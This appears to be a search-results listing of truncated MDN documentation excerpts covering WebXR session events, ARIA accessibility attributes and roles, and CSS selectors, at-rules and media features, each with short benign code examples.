a primary action may occur when the user presses a button, clicks on a touchpad or the top button of a thumb stick, or uses a hand gesture or spoken command that invokes the button-like action.
... specifications specification status comment webxr device apithe definition of 'xrinputsource' in that specification.
XRInputSourceEvent() - Web APIs
selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like.
... xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr device apithe definition of 'xrinputsourceevent' in that specification.
XRInputSourceEvent - Web APIs
selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like.
... xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr device apithe definition of 'xrinputsourceevent' in that specification.
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
applymousemovement() should be called when drawing a frame, immediately before fetching the viewer's pose using getviewerpose(), and the rendering should be performed in this reference space.
... specifications specification status comment webxr device apithe definition of 'getoffsetreferencespace()' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
this option must be null for immersive sessions.
... specifications specification status comment unknownthe definition of 'xrrenderstate.inlineverticalfieldofview' in that specification.
XRRenderState - Web APIs
null for all immersive sessions.
... specifications specification status comment webxr device apithe definition of 'xrrenderstate' in that specification.
XRRenderStateInit - Web APIs
this property must not be specified for immersive sessions, so the value is null by default for immersive sessions.
... specifications specification status comment webxr device apithe definition of 'xrrenderstateinit' in that specification.
XRRigidTransform.inverse - Web APIs
*/ mat4.multiply(modelviewmatrix, view.transform.inverse.matrix, objectmatrix); gl.uniformmatrix4fv(programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); /* ...
... specifications specification status comment webxr device apithe definition of 'xrrigidtransform.inverse' in that specification.
XRSession.onselectend - Web APIs
the onselectend attribute of the xrsession object is the event handler for the selectend event, which is dispatched when user finishes making some sort of selection by releasing a trigger, touchpad, or button, finishes speaking a command, or makes a hand gesture.
...} example xrsession.onselectend = function(event) { console.log("the user has completed a primary action.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectend' in that specification.
XRSession.onselectstart - Web APIs
the onselectstart attribute of the xrsession object is the event handler for the selectstart event, which is dispatched when user starts making some sort of selection by pressing a trigger, touchpad, or button, speaking a command, or making a hand gesture.
...} example xrsession.onselectstart = function(event) { console.log("the user has started a primary action, but might not have completed it.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectstart' in that specification.
XRSession.onsqueezeend - Web APIs
this is sent immediately after the squeeze event, which announces the successful completion of the squeeze action.
... specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezeend' in that specification.
XRSession: select event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...o a function that handles the event: xrsession.onselect = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'select event' in that specification.
XRSession: selectend event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...etobj, targetraypose.matrix); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr device apithe definition of 'selectend event' in that specification.
XRSession: selectstart event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...etobj, targetraypose.matrix); break; } } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr device apithe definition of 'selectstart event' in that specification.
XRSession: squeeze event - Web APIs
examples of comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...a function that handles the event: xrsession.onsqueeze = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'squeeze event' in that specification.
XRSession: squeezeend event - Web APIs
primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
...cking(targetobj, targetraypose.matrix); break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr device apithe definition of 'squeezeend event' in that specification.
XRSessionInit - Web APIs
default features immersive sessions all immersive (both immersive-vr and immersive-ar) sessions support both the viewer and local reference spaces.
... because immersive sessions are required to support the local reference space, any request to open an immersive xrsession is required to obtain explicit or implicit user consent.
XRSystem: ondevicechange - Web APIs
the ondevicechange property of the xrsystem interface is passed a devicechange event whenever availability of an immersive device changes.
...}; value undefined example navigator.xr.ondevicechange = function(ev) { console.log("the availability of immersive xr devices has changed.") }; specifications specification status comment webxr device apithe definition of 'ondevicechange ' in that specification.
XRView - Web APIs
WebAPIXRView
it's computed by inverting then transposing the model view matrix: mat4.invert(normalmatrix, modelviewmatrix); mat4.transpose(normalmatrix, normalmatrix); teleporting an object to programmatically move and/or rotate (often referred to as teleporting) an object, you need to create a new reference space for that object which applies a transform that encapsulates the desired changes.
... specifications specification status comment webxr device apithe definition of 'xrview' in that specification.
XRViewerPose - Web APIs
for example, every player in a mmorpg might have an instance of xrviewerpose to provide a way to calculate what they can see; if the game provides a mechanism that tells the player if another player sees them, or that they see another player, this information becomes crucial.
... specifications specification status comment webxr device apithe definition of 'xrviewerpose' in that specification.
XRWebGLLayer() - Web APIs
the specified session is immersive but the context is not webxr compatible.
... specifications specification status comment webxr device apithe definition of 'xrwebgllayer()' in that specification.
XRWebGLLayer - Web APIs
static methods getnativeframebufferscalefactor() returns the scaling factor that can be used to scale the resolution of the recommended webgl framebuffer resolution to the rendering device's native resolution.
...ame.getviewerpose(xrreferencespace); if (pose) { let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebffer); for (let view of pose.views) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the view */ } } specifications specification status comment webxr device apithe definition of 'xrwebgllayer' in that specification.
Using the aria-label attribute - Accessibility
<button aria-label="close" onclick="mydialog.close()">x</button> notes the most common accessibility api mapping for a label is the accessible name property.
... used by aria roles all elements of the base markup related aria techniques using the aria-labelledby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-label ...
Using the aria-labelledby attribute - Accessibility
6: definition lists in the example below, the definitions in a formal definition list are associated with the terms they define using the aria-labelledby attribute: <dl> <dt id="anathema">anathema</dt> <dd role="definition" aria-labelledby="anathema">a ban or curse solemnly pronounced by ecclesiastical authority and accompanied by excommunication</dd> <dd role="definition" aria-labelledby="anathema">a vigorous denunciation : cursor</dd> <dt id="homily">homily</dt> <dd role="definition" aria-labelledby="homily">a usually short sermon</dd> <dd role="definition" aria-labelledby="homily">a lecture or discourse on or of a moral theme</dd> </dl> example 7: menus in the example below, a popup menu is associated with ...
...</div> notes the most common accessibility api mapping for a label is the accessible name property used by aria roles all elements of the base markup related aria techniques using the aria-label attribute using the aria-describedby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-labelledby ...
Using the aria-valuetext attribute - Accessibility
the application would programmatically update aria-valuetext depending on aria-valuenow.
... <div role="slider" aria-valuenow="1" aria-valuemin="1" aria-valuemax="7" aria-valuetext="sunday"> working examples: notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuenow compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuetext attribute ...
Using the group role - Accessibility
the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a table of contents or a page summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page.
... aria attributes used group related aria techniques region role compatibility tbd: add support information for common ua and at product combinations additional resources aria authoring practices – accessible name guidance by role – group ...
ARIA: timer role - Accessibility
examples some prominent web timers include clocks, stop watches and countdowns, such as ticketing websites, e-commerce sites, and event countdowns (see https://countingdownto.com/).
... recommendation precedence order applying the timer role will cause this and all of the descendant elements of this element to be treated like xxx ...
ARIA: banner role - Accessibility
it should be reserved for the site header content that is common across the site generally at the top of every page.
... recommendation wai-aria authoring practicesthe definition of 'banner landmark role' in that specification.
ARIA: grid role - Accessibility
if cells, rows, or columns can be selected, the following key combination are commonly used: key combination action ctrl + space select the column that contains the focus.
... recommendation wai-aria authoring practicesthe definition of 'role grid' in that specification.
ARIA: textbox role - Accessibility
for example, in a combobox, focus may remain on the textbox while the value of aria-activedescendant on the textbox element refers to a descendant of a popup listbox that is controlled by the textbox.this attribute must be updated programmatically as the focus changes.
...do so even if you set aria-readonly to true; in this way, you communicate that the content would be editable if it were not read-only.
Basic form hints - Accessibility
required and invalid fields note: now that required is available to more than 97% of users globally, it is no longer recommended that you use both required and aria-required.
... the aria-invalid state can be programmatically applied, to indicate to an at which data fields have incorrect data, so that the user knows they have entered invalid data.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
“days” could easily be “months” or “years”, and in many ordinary dialogs, there is no way to find this out other than navigating around with screen reviewing commands.
... community member ben millard has pointed out in a blog post that controls can be embedded in labels as shown in the above example using html 4, simply by embedding the input into the label.
Text labels and names - Accessibility
a common navigation technique for users of assistive technology is to infer what content a page contains by reading its title.
... 2.4.4 link purpose (in context) (a) the purpose of each link can be determined from the link text alone or from the link text together with its programmatically determined link context, except where the purpose of the link would be ambiguous to users in general.
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
WebCSS--*
olor: #ffff8c; } #firstparagraph { background-color: var(--first-color); color: var(--second-color); } #secondparagraph { background-color: var(--second-color); color: var(--first-color); } #container { --first-color: #48ff32; } #thirdparagraph { background-color: var(--first-color); color: var(--second-color); } result specifications specification status comment css custom properties for cascading variables module level 1the definition of '--*' in that specification.
... candidate recommendation initial definition.
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
syntax values auto use "regular" scrolling, where the content immediately ceases to scroll when you remove your finger from the touchscreen.
... </p> </div> css div { width: 100%; overflow: auto; } p { width: 200%; background: #f5f9fa; border: 2px solid #eaf2f4; padding: 10px; } .scroll-touch { -webkit-overflow-scrolling: touch; /* lets it scroll lazy */ } .scroll-auto { -webkit-overflow-scrolling: auto; /* stops scrolling immediately */ } results specifications not part of any standard.
-webkit-text-stroke-width - CSS: Cascading Style Sheets
syntax /* keyword values */ -webkit-text-stroke-width: thin; -webkit-text-stroke-width: medium; -webkit-text-stroke-width: thick; /* <length> values */ -webkit-text-stroke-width: 2px; -webkit-text-stroke-width: 0.1em; -webkit-text-stroke-width: 1mm; -webkit-text-stroke-width: 5pt; /* global values */ -webkit-text-stroke-width: inherit; -webkit-text-stroke-width: initial; -webkit-text-stroke-width: unset; values <line-width> the width of the stroke.
... formal definition initial value0applies toall elementsinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples varying stroke widths css p { margin: 0; font-size: 4em; -webkit-text-stroke-color: red; } #thin { -webkit-text-stroke-width: thin; } #medium { -webkit-text-stroke-width: 3px; } #thick { -webkit-text-stroke-width: 1.5mm; } html <p id="thin">thin stroke</p> <p id="medium">medium stroke</p> <p id="thick">thick stroke</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-width' in that specification.
:-moz-ui-invalid - CSS: Cascading Style Sheets
however, if the user is trying to correct a previously-flagged value, the control shows immediately when the value becomes valid.
... specifications specification status comment selectors level 4the definition of ':user-invalid' in that specification.
::cue-region - CSS: Cascading Style Sheets
nt font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space specifications specification status comment webvtt: the web video text tracks formatthe definition of 'the ::cue-region pseudo-element' in that specification.
... candidate recommendation initial definition.
::cue - CSS: Cascading Style Sheets
WebCSS::cue
::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); } specifications specification status comment webvtt: the web video text tracks formatthe definition of '::cue' in that specification.
... candidate recommendation initial definition.
::marker - CSS: Cascading Style Sheets
WebCSS::marker
it works on any element or pseudo-element set to display: list-item, such as the <li> and <summary> elements.
... syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status comment css pseudo-elements level 4the definition of '::marker' in that specification.
::selection - CSS: Cascading Style Sheets
(wcag defines large text as between 18.66px and 24px and bold, or 24px or larger.) webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 specifications specification status comment css pseudo-elements level 4the definition of '::selection' in that specification.
... note: ::selection was in drafts of css selectors level 3, but it was removed in the candidate recommendation phase because its was under-specified (especially with nested elements) and interoperability wasn't achieved (based on discussion in the w3c style mailing list).
:default - CSS: Cascading Style Sheets
WebCSS:default
syntax :default examples html <fieldset> <legend>favorite season</legend> <input type="radio" name="season" id="spring"> <label for="spring">spring</label> <input type="radio" name="season" id="summer" checked> <label for="summer">summer</label> <input type="radio" name="season" id="fall"> <label for="fall">fall</label> <input type="radio" name="season" id="winter"> <label for="winter">winter</label> </fieldset> css input:default { box-shadow: 0 0 2px 1px coral; } input:default + label { color: coral; } result specifications specification status comme...
... recommendation defines associated html semantics and constraint validation.
:first-of-type - CSS: Cascading Style Sheets
iv>this <span>nested `span` is first</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <div>this <span>nested `span` gets styled</span>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`.</div> </article> css article :first-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':first-of-type' in that specification.
... recommendation initial definition.
:first - CSS: Cascading Style Sheets
WebCSS:first
specifications specification status comment css paged media module level 3the definition of ':first' in that specification.
... recommendation initial definition.
:focus-within - CSS: Cascading Style Sheets
(this includes descendants in shadow trees.) /* selects a <div> when one of its descendants is focused */ div:focus-within { background: cyan; } this selector is useful, to take a common example, for highlighting an entire <form> container when the user focuses on one of its <input> fields.
...abel for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within { background: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment selectors level 4the definition of ':focus-within' in that specification.
:indeterminate - CSS: Cascading Style Sheets
nd: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
... recommendation defines the semantics of html and constraint validation.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
since <section>, <article>, <aside>, and <nav> are commonly nested together, without :is(), styling them to match one another can be tricky.
... specifications specification status comment selectors level 4the definition of ':is()' in that specification.
:last-child - CSS: Cascading Style Sheets
ime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment selectors level 4the definition of ':last-child' in that specification.
... recommendation initial definition.
:last-of-type - CSS: Cascading Style Sheets
html <article> <div>this `div` is first.</div> <div>this <span>nested `span` is last</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`!</div> </article> css article :last-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':last-of-type' in that specification.
... recommendation initial definition.
:left - CSS: Cascading Style Sheets
WebCSS:left
syntax :left examples setting a margin for left-hand pages @page :left { margin: 2in 3in; } specifications specification status comment css paged media module level 3the definition of ':left' in that specification.
... recommendation initial definition.
:nth-child() - CSS: Cascading Style Sheets
an>span!</span> <span>span</span> <span>span!</span> </div> css html { font-family: sans-serif; } span, div em { padding: 5px; border: 1px solid green; display: inline-block; margin-bottom: 3px; } .first span:nth-child(2n+1), .second span:nth-child(2n+1), .third span:nth-of-type(2n+1) { background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-child' in that specification.
... recommendation initial definition.
:nth-last-child() - CSS: Cascading Style Sheets
4>a list of four items (styled):</h4> <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> </ol> <h4>a list of two items (unstyled):</h4> <ol> <li>one</li> <li>two</li> </ol> css /* if there are at least three list items, style them all */ li:nth-last-child(n+3), li:nth-last-child(n+3) ~ li { color: red; } result specifications specification status comment selectors level 4the definition of ':nth-last-child' in that specification.
... recommendation initial definition.
:nth-last-of-type() - CSS: Cascading Style Sheets
us-b> | even | odd examples html <div> <span>this is a span.</span> <span>this is another span.</span> <em>this is emphasized.</em> <span>wow, this span gets limed!!!</span> <strike>this is struck through.</strike> <span>here is one last span.</span> </div> css span:nth-last-of-type(2) { background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-last-of-type' in that specification.
... recommendation initial definition.
:nth-of-type() - CSS: Cascading Style Sheets
ss /* odd paragraphs */ p:nth-of-type(2n+1) { color: red; } /* even paragraphs */ p:nth-of-type(2n) { color: blue; } /* first paragraph */ p:nth-of-type(1) { font-weight: bold; } /* this has no effect, as the .fancy class is only on the 4th p element, not the 1st */ p.fancy:nth-of-type(1) { text-decoration: underline; } result specifications specification status comment selectors level 4the definition of ':nth-of-type' in that specification.
... recommendation initial definition.
:only-child - CSS: Cascading Style Sheets
s list has just one element.</li> </ul> </li> <li>second <ul> <li>this list has three elements.</li> <li>this list has three elements.</li> <li>this list has three elements.</li> </ul> </li> </ol> css li li { list-style-type: disc; } li:only-child { color: red; list-style-type: square; } result specifications specification status comment selectors level 4the definition of ':only-child' in that specification.
... recommendation initial definition.
:only-of-type - CSS: Cascading Style Sheets
<i>i am the only `i` child.</i> <em>i am `em` #1.</em> <em>i am `em` #2.</em> </div> </main> css main :only-of-type { color: red; } result specifications specification status comment selectors level 4the definition of ':only-of-type' in that specification.
... recommendation initial definition.
:optional - CSS: Cascading Style Sheets
WebCSS:optional
mdn understanding wcag, guideline 3.3 explanations understanding success criterion 3.3.2 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of ':optional' in that specification.
... recommendation defines the semantics of html and constraint validation.
:read-only - CSS: Cascading Style Sheets
<p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-only' in that specification.
... recommendation defines the semantics regarding html and constraint validation.
:read-write - CSS: Cascading Style Sheets
<p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
... recommendation defines the semantics regarding html and constraint validation.
:required - CSS: Cascading Style Sheets
WebCSS:required
mdn understanding wcag, guideline 3.3 explanations understanding success criterion 3.3.2 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of ':required' in that specification.
... recommendation defines the semantics of html and constraint validation.
:right - CSS: Cascading Style Sheets
WebCSS:right
syntax :right examples setting margins for right-hand pages @page :right { margin: 2in 3in; } specifications specification status comment css paged media module level 3the definition of ':right' in that specification.
... recommendation initial definition.
:root - CSS: Cascading Style Sheets
WebCSS:root
/* selects the root element of the document: <html> in the case of html */ :root { background: yellow; } syntax :root examples declaring global css variables :root can be useful for declaring global css variables: :root { --main-color: hotpink; --pane-padding: 5px 42px; } specifications specification status comment selectors level 4the definition of ':root' in that specification.
... recommendation initial definition.
:target - CSS: Cascading Style Sheets
WebCSS:target
s: center; justify-content: center; background-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed; background-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status comment html living standardthe definition of ':target' in that specification.
... recommendation initial definition.
additive-symbols - CSS: Cascading Style Sheets
age> = <angle> | <percentage> examples specifying additive symbols html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style additive-symbols-example { system: additive; additive-symbols: v 5, iv 4, i 1; } .list { list-style: additive-symbols-example; } result specifications specification status comment css counter styles level 3the definition of 'additive-symbols' in that specification.
... candidate recommendation initial definition.
fallback - CSS: Cascading Style Sheets
<custom-ident> examples specifying a fallback counter style html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style fallback-example { system: fixed; symbols: "\24b6" "\24b7" "\24b8"; fallback: upper-alpha; } .list { list-style: fallback-example; } result specifications specification status comment css counter styles level 3the definition of 'fallback' in that specification.
... candidate recommendation initial definition ...
negative - CSS: Cascading Style Sheets
<angle> | <percentage> examples rendering negative counters html <ul class="list" start="-3"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style neg { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; negative: "(-" ")"; } .list { list-style: neg; } result specifications specification status comment css counter styles level 3the definition of 'system' in that specification.
... candidate recommendation initial definition.
prefix - CSS: Cascading Style Sheets
boy who lived</li> <li>the vanishing glass</li> <li>the letters from no one</li> <li>the keeper of the keys</li> <li>diagon alley</li> </ul> css @counter-style chapters { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; prefix: 'chapter '; } .index { list-style: chapters; padding-left: 15ch; } result specifications specification status comment css counter styles level 3the definition of 'prefix' in that specification.
... candidate recommendation initial definition.
speak-as - CSS: Cascading Style Sheets
nt> examples setting the spoken form for a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style speak-as-example { system: fixed; symbols:     ; suffix: " "; speak-as: numbers; } .list { list-style: speak-as-example; } result specifications specification status comment css counter styles level 3the definition of 'speak-as' in that specification.
... candidate recommendation initial definition.
suffix - CSS: Cascading Style Sheets
percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a suffix for a counter html <ul class="choices"> <li>one</li> <li>two</li> <li>three</li> <li>none of the above</li> </ul> css @counter-style options { system: fixed; symbols: a b c d; suffix: ") "; } .choices { list-style: options; } result specifications specification status comment css counter styles level 3the definition of 'suffix' in that specification.
... candidate recommendation initial definition.
symbols - CSS: Cascading Style Sheets
percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting counter symbols html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style symbols-example { system: fixed; symbols: a "1" "\24b7" d e; } .list { list-style: symbols-example; } result specifications specification status comment css counter styles level 3the definition of 'symbols' in that specification.
... candidate recommendation initial definition.
system - CSS: Cascading Style Sheets
html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style alpha-modified { system: extends lower-alpha; prefix: "("; suffix: ") "; } ul { list-style: alpha-modified; } result specifications specification status comment css counter styles level 3the definition of 'system' in that specification.
... candidate recommendation initial definition.
@counter-style - CSS: Cascading Style Sheets
specifications specification status comment css counter styles level 3the definition of 'counter-style' in that specification.
... candidate recommendation initial definition.
font-family - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuen/a (required)computed valueas specified formal syntax <family-name>where <family-name> = <string> | <custom-ident>+ examples setting the font family name @font-face { font-family: examplefont; src: url('examplefont.ttf'); } specifications specification status comment css fonts module level 3the definition of 'font-family' in that specification.
... candidate recommendation initial definition ...
font-stretch - CSS: Cascading Style Sheets
@font-face { font-family: "open sans"; src: local("open sans") format("woff2"), url("/fonts/opensans-regular-webfont.woff") format("woff"); font-stretch: 87.5% 112.5%; } specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
... candidate recommendation ...
font-style - CSS: Cascading Style Sheets
@font-face { font-family: garamond; src: url('garamond-italic.ttf'); font-style: italic; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
... candidate recommendation initial definition ...
unicode-range - CSS: Cascading Style Sheets
html <div>me & you = us</div> css @font-face { font-family: 'ampersand'; src: local('times new roman'); unicode-range: u+26; } div { font-size: 4em; font-family: ampersand, helvetica, sans-serif; } result specifications specification status comment css fonts module level 3the definition of 'unicode-range' in that specification.
... candidate recommendation initial definition ...
@font-feature-values - CSS: Cascading Style Sheets
the @font-feature-values css at-rule lets you use a common name in the font-variant-alternates property for features activated differently in opentype.
...ule for "nice-style" in font one */ @font-feature-values font one { @styleset { nice-style: 12; } } /* at-rule for "nice-style" in font two */ @font-feature-values font two { @styleset { nice-style: 4; } } … /* apply the at-rules with a single declaration */ .nice-look { font-variant-alternates: styleset(nice-style); } specifications specification status comment css fonts module level 4the definition of '@font-feature-values' in that specification.
any-hover - CSS: Cascading Style Sheets
WebCSS@mediaany-hover
examples testing whether input methods can hover html <a href="#">try hovering over me!</a> css @media (any-hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'any-hover' in that specification.
... candidate recommendation initial definition.
any-pointer - CSS: Cascading Style Sheets
none; -webkit-appearance: none; appearance: none; width: 15px; height: 15px; border: 1px solid blue; } } @media (any-pointer: coarse) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 30px; height: 30px; border: 2px solid red; } } result specifications specification status comment media queries level 4the definition of 'any-pointer' in that specification.
... candidate recommendation initial definition.
hover - CSS: Cascading Style Sheets
WebCSS@mediahover
examples html <a href="#">try hovering over me!</a> css @media (hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'hover' in that specification.
... candidate recommendation initial definition.
overflow-block - CSS: Cascading Style Sheets
sed nec augue congue eros accumsan tincidunt sed eget ex.</p> css @media (overflow-block: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-block' in that specification.
... candidate recommendation initial definition.
overflow-inline - CSS: Cascading Style Sheets
sed nec augue congue eros accumsan tincidunt sed eget ex.</p> css p { white-space: nowrap; } @media (overflow-inline: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-inline' in that specification.
... candidate recommendation initial definition.
pointer - CSS: Cascading Style Sheets
WebCSS@mediapointer
ut[type="checkbox"]:checked { background: gray; } @media (pointer: fine) { input[type="checkbox"] { width: 15px; height: 15px; border-width: 1px; border-color: blue; } } @media (pointer: coarse) { input[type="checkbox"] { width: 30px; height: 30px; border-width: 2px; border-color: red; } } result specifications specification status comment media queries level 4the definition of 'pointer' in that specification.
... candidate recommendation initial definition.
prefers-reduced-motion - CSS: Cascading Style Sheets
changes to this preference take effect immediately.
...padding: 1em; border-radius: 1em; text-align: center; } @keyframes pulse { 0% { transform: scale(1); } 25% { transform: scale(.9); } 50% { transform: scale(1); } 75% { transform: scale(1.1); } 100% { transform: scale(1); } } @keyframes dissolve { 0% { opacity: 1; } 50% { opacity: 0.8; } 100% { opacity: 1; } } result specifications specification status comment media queries level 5the definition of 'prefers-reduced-motion' in that specification.
resolution - CSS: Cascading Style Sheets
WebCSS@mediaresolution
s is a test of your device's pixel density.</p> css /* exact resolution */ @media (resolution: 150dpi) { p { color: red; } } /* minimum resolution */ @media (min-resolution: 72dpi) { p { text-decoration: underline; } } /* maximum resolution */ @media (max-resolution: 300dpi) { p { background: yellow; } } result specifications specification status comment media queriesthe definition of 'resolution' in that specification.
... recommendation initial definition.
update - CSS: Cascading Style Sheets
examples html <p>if this text animates for you, you are using a fast-updating device.</p> css @keyframes jiggle { from { transform: translatey(0); } to { transform: translatey(25px); } } @media (update: fast) { p { animation: 1s jiggle linear alternate infinite; } } result specifications specification status comment media queries level 4the definition of 'update' in that specification.
... candidate recommendation initial definition.
@namespace - CSS: Cascading Style Sheets
es specifying default and prefixed namespaces @namespace url(http://www.w3.org/1999/xhtml); @namespace svg url(http://www.w3.org/2000/svg); /* this matches all xhtml <a> elements, as xhtml is the default unprefixed namespace */ a {} /* this matches all svg <a> elements */ svg|a {} /* this matches both xhtml and svg <a> elements */ *|a {} specifications specification status comment css namespaces modulethe definition of '@namespace' in that specification.
... recommendation initial definition ...
@page - CSS: Cascading Style Sheets
WebCSS@page
:blank :first :left :right :recto :verso specifications specification status comment css logical properties and values level 1the definition of ':recto and :verso' in that specification.
... recommendation initial definition ...
@supports - CSS: Cascading Style Sheets
WebCSS@supports
